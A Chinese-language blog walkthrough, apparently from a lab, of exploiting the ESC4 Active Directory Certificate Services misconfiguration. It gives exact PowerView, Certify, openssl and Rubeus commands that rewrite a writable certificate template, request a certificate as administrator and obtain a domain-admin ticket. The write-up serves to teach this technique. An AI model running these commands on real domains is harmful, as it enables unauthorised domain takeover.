AD域-ADCS错误配置-ESC4
2023-10-25 / 共计1693 字
内心不种满鲜花就会长满杂草
If the heart is not filled with flowers, it will be overrun by weeds.
ADCS-ESC配置错误文章目录:
- ESC1: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc1/
- ESC2: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc2/
- ESC3: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc3/
- ESC4: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc4/
- ESC5_ESC6: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc5-esc6/
- ESC7: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc7/
- ESC8: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc8/
经过学习 AD域-ADCS错误配置-ESC1 和 AD域-ADCS错误配置-ESC3后得知,ESC1是通过在申请证书时伪造证书申请用户身份来获取域管权限,而ESC3获取域管权限则是通过证书代理申请,通过普通用户代理域管注册,从而获取域管权限。
ESC4证书模板简单总结可以为”允许了无特权的用户拥有模板的改写权限“。因此无特权用户可以通过对错误配置的ESC4证书模板进行重新编写,使其符合其它错误模板的利用条件,从而达到域提权的作用。
ESC4利用条件:
低权限用户拥有证书模板的Write权限。
环境
复制工作站身份验证模板进行创建符合ESC4利用条件的模板证书:
证书模板命名为ESC4(可随意命名):
给Domain Users添加写入权限(满足ESC4利用条件):
添加上CA证书管理程序批准和授权签名(方便后续演示):
通过certsrv发布新建的ESC4证书模板:
启用ESC4证书模板:
改写证书模板
在改写证书模版时会用到PowerView.ps1,可自行下载。
首先使用工具Certify.exe查询ESC4证书模板是否符合利用条件:
Certify.exe find /vulnerable
终端中导入模块PowerView.ps1,利用PowerView.ps1并给Domain Users添加注册权限:
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=t0ngmystictestad,DC=com" -Verbose
重新查看ESC4证书模板中Domain Users新加了注册权限:
利用PowerView.ps1禁用管理程序批准:
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=t0ngmystictestad,DC=com" -Identity ESC4 -XOR @{'mspki-enrollment-flag'=2} -Verbose
重新获取ESC4证书模板相关信息,发现mspi-enrollment-flag标志位中的PEND_ALL_REQUESTS(该标志指示CA将所有请求置于待处理状态)消失了,只保留AUTO_ENROLLMENT(此标志指示客户端执行指定模板的自动注册):mspi-enrollment-flag标志位<–官方解释文档 在ADCS证书服务器上查看CA证书管理程序批准取消了勾选:
利用PowerView.ps1禁用授权签名要求:
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=t0ngmystictestad,DC=com" -Identity ESC4 -Set @{'mspki-ra-signature'=0} -Verbose
查看证书模板发Authorized Signatures Required 标志位由1修改成了0: 在ADCS证书服务器上查看ESC4证书授权签名的数量取消了勾选:
利用PowerView.ps1启用在请求中提供使用者名称CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT,从而制造ESC1的利用条件(可通过 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 声明自己的身份,从而伪造成域管理员):
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=t0ngmystictestad,DC=com" -Identity ESC4 -XOR @{'mspki-certificate-name-flag'=1} -Verbose
查看ESC4证书模板msPKI-Certificate-Name-Flag标志位多了ENROLLEE-SUPPLIES-SUBJECT(可声明身份):
由于创建ESC4证书模版时是通过复制证书模版“工作站身份验证”,应用策略本来就为“客户端身份验证”,为了演示修改应用策略的功能,通过ADCS证书服务器查看ESC4证书模板应用程序策略描述更改为无
:
可以查看mspki-certificate-application-policy为<null>:
修改mspki-certificate-application-policy标志位为客户端身份验证(1.3.6.1.5.5.7.3.2):
成功修改证书模版mspki-certificate-application-policy标志位为客户端身份验证:
在ADCS服务器上查看也同样被修改为客户端身份验证:
到此ESC4证书模板已符合ESC1利用条件,直接使用ESC1利用方法即可利用。
模板利用
现在ESC4证书模版已经符合ESC1的利用条件了,直接使用ESC1利用方式即可,伪造Administrator身份申请ESC4证书模版:
Certify.exe request /ca:DC1.t0ngmystictestad.com\t0ngmystictestad-DC1-CA /template:ESC4 /altname:administrator
将申请到的pem格式证书修改为pfx格式:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
通过申请的administrator证书请求tgt并导入内存,即可访问域控服务器:
dir \\dc1.t0ngmystictestad.com\c$
rubeus.exe asktgt /user:administrator /certificate:C:\Users\user1\Desktop\Certify-main\Certify\bin\Debug\cert.pfx /dc:192.168.111.11 /ptt
成功访问域控服务器:
文笔垃圾,技术欠缺,欢迎各位大师傅请斧正,非常感谢!
如果文章对您有帮助
部分文章会发布公众号!
感谢您的支持!